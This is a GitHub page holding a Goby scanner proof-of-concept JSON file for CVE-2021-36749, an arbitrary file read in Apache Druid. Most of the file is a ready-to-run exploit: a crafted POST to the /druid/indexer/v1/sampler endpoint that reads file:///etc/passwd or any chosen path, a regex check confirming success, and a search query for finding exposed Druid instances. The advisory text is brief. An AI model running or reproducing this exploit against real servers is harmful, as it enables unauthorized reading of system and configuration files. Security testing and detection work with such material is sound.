forked from luck-ying/Library-POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Apache_Druid_Arbitrary_File_Read_CVE_2021_36749.json
109 lines (109 loc) · 5.56 KB
/
Apache_Druid_Arbitrary_File_Read_CVE_2021_36749.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
{
"Name": "Apache Druid Arbitrary File Read (CVE-2021-36749)",
"Level": "1",
"Tags": [
"fileread"
],
"GobyQuery": "title=\"Apache Druid\"",
"Description": "Because the user specified the HTTP InputSource without restriction, you can bypass the application level restriction by passing the file URL to the HTTP InputSource. ",
"Product": "Apache Druid",
"Homepage": "https://druid.apache.org/",
"Author": "[email protected]",
"Impact": "<p><span>Attackers can use this vulnerability to read the leaked source code, database configuration files, etc., resulting in an extremely insecure website.</span><br></p>",
"Recommendation": "<p><span>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update:</span><span><a href>https://druid.apache.org/</a></span><br></p><p>2. Set access policies and whitelist access through security devices such as firewalls.<br> 3. If not necessary, prohibit public network access to the system.</p>",
"References": [
"https://github.com/BrucessKING/CVE-2021-36749"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Filepath",
"Type": "createSelect",
"Value": "/etc/passwd,/etc/hosts"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/druid/indexer/v1/sampler?for=connect",
"follow_redirect": true,
"header": {
"Content-Type": "application/json;charset=UTF-8"
},
"data_type": "text",
"data": "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"inputSource\":{\"type\":\"http\",\"uris\":[\"file:///etc/passwd\"]},\"inputFormat\":{\"type\":\"regex\",\"pattern\":\"(.*)\",\"listDelimiter\":\"56616469-6de2-9da4-efb8-8f416e6e6965\",\"columns\":[\"raw\"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"timestampSpec\":{\"column\":\"!!!_no_such_column_!!!\",\"missingValue\":\"1970-01-01T00:00:00Z\"},\"dimensionsSpec\":{}},\"tuningConfig\":{\"type\":\"index\"}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "regex",
"value": "root:[x*]?:0:0:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/druid/indexer/v1/sampler?for=connect",
"follow_redirect": true,
"header": {
"Content-Type": "application/json;charset=UTF-8"
},
"data_type": "text",
"data": "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"inputSource\":{\"type\":\"http\",\"uris\":[\"file://{{{Filepath}}}\"]},\"inputFormat\":{\"type\":\"regex\",\"pattern\":\"(.*)\",\"listDelimiter\":\"56616469-6de2-9da4-efb8-8f416e6e6965\",\"columns\":[\"raw\"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"timestampSpec\":{\"column\":\"!!!_no_such_column_!!!\",\"missingValue\":\"1970-01-01T00:00:00Z\"},\"dimensionsSpec\":{}},\"tuningConfig\":{\"type\":\"index\"}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "regex",
"value": "root:[x*]?:0:0:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"PostTime": "2021-11-01 11:17:17",
"GobyVersion": "1.9.304"
}